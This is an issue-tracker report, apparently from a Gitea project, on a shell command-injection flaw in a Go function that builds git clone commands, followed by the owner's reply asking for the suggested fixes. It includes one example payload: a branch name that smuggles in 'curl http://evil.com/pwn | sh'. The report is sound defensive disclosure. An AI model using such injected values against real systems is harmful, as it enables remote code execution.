CRITICAL: Command injection via branch/repoURL/commitSHA in git clone #18

Closed
opened 2026-02-16 05:47:09 +01:00 by clawbot · 1 comment
Collaborator

Bug

File: internal/docker/client.go, createGitContainer() (~line 340-360)

Severity: CRITICAL — Remote Code Execution

Description

The createGitContainer function interpolates cfg.branch, cfg.repoURL, and cfg.commitSHA directly into a shell script string using fmt.Sprintf without any escaping or validation:

script := fmt.Sprintf(
    "git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
    cfg.branch, cfg.repoURL, cfg.commitSHA,
)
cmd = []string{"sh", "-c", script}

An attacker who can create or update an app (authenticated user) can set the branch name or repo URL to include shell metacharacters, achieving arbitrary command execution inside the git clone container. For example, a branch name of:

main; curl http://evil.com/pwn | sh #

would execute arbitrary commands.

The commitSHA comes from webhook payloads, so an external attacker who knows the webhook secret could also exploit this.

Suggested Fix

  1. Validate that branch names match ^[a-zA-Z0-9._/\-]+$
  2. Validate that commit SHAs match ^[0-9a-f]{40}$
  3. Better: pass arguments as separate git command arguments instead of using sh -c with string interpolation. Use a multi-step entrypoint or a shell script that receives arguments via environment variables:
Env: []string{
    "GIT_SSH_COMMAND=" + gitSSHCmd,
    "CLONE_URL=" + cfg.repoURL,
    "CLONE_BRANCH=" + cfg.branch,
    "CLONE_SHA=" + cfg.commitSHA,
},
Cmd: []string{"sh", "-c", "git clone --branch \"$CLONE_BRANCH\" \"$CLONE_URL\" /repo && cd /repo && if [ -n \"$CLONE_SHA\" ]; then git checkout \"$CLONE_SHA\"; fi && echo COMMIT:$(git rev-parse HEAD)"},
## Bug **File:** `internal/docker/client.go`, `createGitContainer()` (~line 340-360) **Severity:** CRITICAL — Remote Code Execution ### Description The `createGitContainer` function interpolates `cfg.branch`, `cfg.repoURL`, and `cfg.commitSHA` directly into a shell script string using `fmt.Sprintf` without any escaping or validation: ```go script := fmt.Sprintf( "git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)", cfg.branch, cfg.repoURL, cfg.commitSHA, ) cmd = []string{"sh", "-c", script} ``` An attacker who can create or update an app (authenticated user) can set the branch name or repo URL to include shell metacharacters, achieving arbitrary command execution inside the git clone container. For example, a branch name of: ``` main; curl http://evil.com/pwn | sh # ``` would execute arbitrary commands. The `commitSHA` comes from webhook payloads, so an external attacker who knows the webhook secret could also exploit this. ### Suggested Fix 1. Validate that branch names match `^[a-zA-Z0-9._/\-]+$` 2. Validate that commit SHAs match `^[0-9a-f]{40}$` 3. Better: pass arguments as separate `git` command arguments instead of using `sh -c` with string interpolation. Use a multi-step entrypoint or a shell script that receives arguments via environment variables: ```go Env: []string{ "GIT_SSH_COMMAND=" + gitSSHCmd, "CLONE_URL=" + cfg.repoURL, "CLONE_BRANCH=" + cfg.branch, "CLONE_SHA=" + cfg.commitSHA, }, Cmd: []string{"sh", "-c", "git clone --branch \"$CLONE_BRANCH\" \"$CLONE_URL\" /repo && cd /repo && if [ -n \"$CLONE_SHA\" ]; then git checkout \"$CLONE_SHA\"; fi && echo COMMIT:$(git rev-parse HEAD)"}, ```
Owner

while we assume that any authenticated user has root on the docker host anyway, this isn't a security bug. that said, i'd like it fixed. implement all 3 items in the suggested fix on a branch and make a PR.

while we assume that any authenticated user has root on the docker host anyway, this isn't a security bug. that said, i'd like it fixed. implement all 3 items in the suggested fix on a branch and make a PR.
sneak closed this issue 2026-02-16 06:38:30 +01:00
Sign in to join this conversation.
No Milestone
No project
No Assignees
2 Participants
Notifications
Due Date
The due date is invalid or out of range. Please use the format 'yyyy-mm-dd'.

No due date set.

Dependencies

No dependencies set.

Reference: sneak/upaas#18
No description provided.